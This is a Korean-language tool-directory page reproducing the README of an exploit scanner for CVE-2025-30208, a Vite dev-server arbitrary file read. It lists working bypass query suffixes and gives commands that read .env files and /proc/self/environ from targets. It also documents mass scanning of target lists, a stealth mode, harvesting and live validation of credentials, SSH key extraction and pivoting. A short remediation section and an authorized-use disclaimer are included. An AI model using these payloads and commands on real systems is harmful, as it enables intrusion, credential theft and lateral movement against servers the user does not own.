Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/hazavvip/cve-2025-30208
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringPenetration Testing
GitHubhazavvip/cve-2025-30208

CVE-2025-30208

CVE-2025-30208 (Vite 임의 파일 읽기)용 익스플로잇 스캐너, 다중 변형 우회 탐지, 자격 증명 수집, SSH 키 추출 및 승인된 침투 테스트를 위한 구조화된 보고 포함.

저장소 보기
74개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-30208 — Vite 임의 파일 읽기 · v5

CVE: CVE-2025-30208
GHSA: GHSA-x574-m823-4x7w
심각도: CVSS 5.3 중간 (네트워크 접근 가능한 개발 서버)

⚠ 승인된 보안 평가 용도로만 사용하세요.
소유하지 않았거나 명시적 서면 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다.


설명

Vite 개발 서버는 /@fs/ 요청을 통해 호스트 파일시스템의 임의 파일을 제공할 수 있습니다.
영향을 받는 버전에서는 쿼리 문자열 검증 누락으로 인해 공격자가 특수하게 조작된 접미사를 추가하여 허용 목록을 우회하고, 프로세스가 접근할 수 있는 모든 파일 — .env 파일, SSH 개인 키, 클라우드 자격 증명, /proc 항목 — 을 읽을 수 있습니다.


영향을 받는 버전

브랜치마지막 취약 버전패치 버전
6.3.x6.3.06.3.1+
6.2.x6.2.26.2.3+
6.1.x6.1.16.1.2+
6.0.x6.0.116.0.12+
5.4.x5.4.145.4.15+
4.5.x4.5.94.5.10+

우회 변형

이름접미사 / 쿼리설명
raw???raw??끝에 붙은 ??가 rawRE를 무력화
import&raw???import&raw??ES 모듈 + raw 조합
raw??raw?끝에 붙은 ? 하나
url&raw???url&raw??URL 모드 조합
raw&url???raw&url??매개변수 순서가 뒤바뀜
import&?raw?import&?raw잘못된 import 접두어
sec-fetch?raw + Sec-Fetch header브라우저 스크립트 컨텍스트
raw-encoded?raw%3f%3fURL 인코딩된 구분자
double-slash?raw??/이중 슬래시 접미사 우회 (v5)
pct-all%3fraw%3f%3f전체 퍼센트 인코딩 쿼리 (v5)
raw-hash?raw??#프래그먼트 앵커 우회 (v5)
wasm-init?inline=1.wasm?initCVE-2025-31125 유사 변형 (wasm init)

설치

root@kitploit:~
pip install requests
# or
pip install -r requirements.txt

사용법

단일 대상 — 전체 스캔

root@kitploit:~
python main.py -t https://target.com

전체 익스플로잇 체인 (실시간 자격 증명 검증, 기본 동작)

root@kitploit:~
python main.py -t https://target.com --full-chain --output /tmp/report

특정 파일 읽기

root@kitploit:~
python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt

스텔스 모드 (무작위 지연) + 업스트림 프록시

root@kitploit:~
python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080

대상 목록을 이용한 대량 스캔

root@kitploit:~
python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080

파이프 친화적 출력 (ANSI 코드 없음)

root@kitploit:~
python main.py -t https://target.com --no-color | tee scan.log

버전

root@kitploit:~
python main.py --version

패키지로 실행

root@kitploit:~
python -m cve30208 -t https://target.com

CLI 참조

플래그기본값설명
-t/--target—단일 대상 URL
-l/--lists—한 줄에 대상 하나씩 포함된 파일
--stealthoff요청 사이에 무작위 지연 추가
--proxy—HTTP/HTTPS 프록시 (http://host:port)
--timeout10요청당 제한 시간(초)
--verifyoffTLS 인증서 검증 활성화
--file—대상 호스트에서 특정 경로 읽기
--save—--file 내용을 로컬 경로에 저장
--full-chainon전체 익스플로잇 체인 실행 (실시간 검증이 기본)
--output—이 기본 경로에 JSON + Markdown 보고서 작성
--workers10대량 스캔용 병렬 작업자 수
--ports아래 참조대량 모드에서 탐색할 쉼표로 구분된 포트 목록
--no-color/--plainoffANSI 색상 코드 비활성화
--safe-modeoff터미널 출력에서 비밀 값 가리기
--show-secretsoff터미널에 전체 비밀 표시 (--safe-mode 재정의)
--version—버전 출력 후 종료

기본 대량 스캔 포트: 5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443


출력

--output /tmp/report가 지정되면 스캐너는 다음 파일을 작성합니다:

  • /tmp/report.json — 기계가 읽을 수 있는 구조화된 결과
  • /tmp/report.md — 사람이 읽을 수 있는 Markdown 보고서

대량 스캔은 항상 마지막 줄에 VULN_COUNT=N을 출력하여 셸 스크립트로 쉽게 사용할 수 있습니다:

root@kitploit:~
python main.py -l targets.txt | grep '^VULN_COUNT='

단일 대상 스캔은 자동화를 위해 마지막에 SCAN_STATUS=VULNERABLE|NOT_VULNERABLE을 출력합니다.


아키텍처 (v5)

root@kitploit:~
cve30208/
├── __init__.py      — public API surface
├── __main__.py      — python -m cve30208 entry point
├── constants.py     — BYPASS, CVE_SIBLING, SECRET_PATTERNS, SSH/scan constants
├── ui.py            — ANSI colour codes, Spin/NullSpin, terminal helpers
├── utils.py         — shared helpers (_unescape_js_string)
├── secrets.py       — scan_secrets(), parse_env(), parse_environ()
├── ssh.py           — extract_ssh_key(), collect_ssh_targets()
├── exploit.py       — ExploitResult, ExploitStage (live credential validation)
│                      includes a check registry for easier extension
├── report.py        — save_report(), make_md()
└── scanner.py       — FR/R dataclasses, Scanner, bulk_scan(), main()
main.py              — backwards-compatibility shim
requirements.txt

중복 제거

스캐너는 반복되는 아티팩트를 자동으로 억제하여 HOME이 /root와 같거나 동일한 비밀이 여러 파일에 나타나더라도 출력을 깨끗하게 유지합니다:

계층메커니즘
파일시스템 읽기stage_fs는 dict.fromkeys로 SSH 키 기본 목록을 정규화하고 출력이 생성되기 전에 reads 큐에서 중복 경로를 제거합니다.
파일 저장Scanner._save는 스캔별 _seen_file_paths 집합을 확인합니다. 중복 경로는 r.files에 다시 추가하지 않고 이미 저장된 FR을 반환합니다.
비밀Scanner._save는 모든 파일에서 (name, value) 기준으로 r.secrets를 전역 중복 제거합니다. 파일 내 중복 제거는 scan_secrets에서 별도로 처리됩니다.
SSH 키stage_ssh는 여러 원본 파일에 나타나는 동일한 PEM 서명(처음 _PEM_SIG_LEN 바이트)을 가진 키를 병합합니다.
피벗 명령피벗 블록은 (key_source, host, port)로 키가 지정되며, 동일한 조합은 한 번만 출력됩니다.

요약 줄은 중복으로 억제된 파일, 비밀, SSH 키 수를 보고합니다. 예:

root@kitploit:~
  deduped     2 file(s), 4 credential(s), 1 SSH key(s) suppressed as duplicates

조치 방법

  1. Vite를 해당 브랜치의 패치 버전으로 업그레이드하세요 (위 표 참조).
  2. 신뢰할 수 없는 네트워크에서 --host 0.0.0.0으로 Vite 개발 서버를 절대 시작하지 마세요.
  3. 잠재적으로 노출된 모든 비밀(API 키, DB 비밀번호, SSH 키)을 교체하세요.
  4. .env 파일을 감사하고 프로젝트에서 불필요한 비밀을 제거하세요.

법적 고지

이 도구는 승인된 침투 테스트 및 보안 연구 전용으로 제공됩니다.
이 도구를 사용함으로써 귀하는 대상 시스템을 테스트할 명시적 서면 허가를 받았음을 동의하는 것입니다.
저자는 이 소프트웨어로 인한 오용이나 피해에 대해 어떠한 책임도 지지 않습니다.


CVE-2025-30208 PoC v5

JSON 스키마 참고

생성된 JSON에는 이제 다음이 포함됩니다:

  • schema_version (현재: 1.0.0)
  • status (VULNERABLE 또는 NOT_VULNERABLE)
  • safe_mode (터미널 비밀 가리기 모드가 활성화된 경우 true)
  • report_redacted (하나 이상의 비밀이 존재하고 저장된 보고서에서 가려진 경우 true)
  • 저장된 JSON/Markdown 보고서 파일의 비밀 값은 항상 가려집니다.
도구 다운로드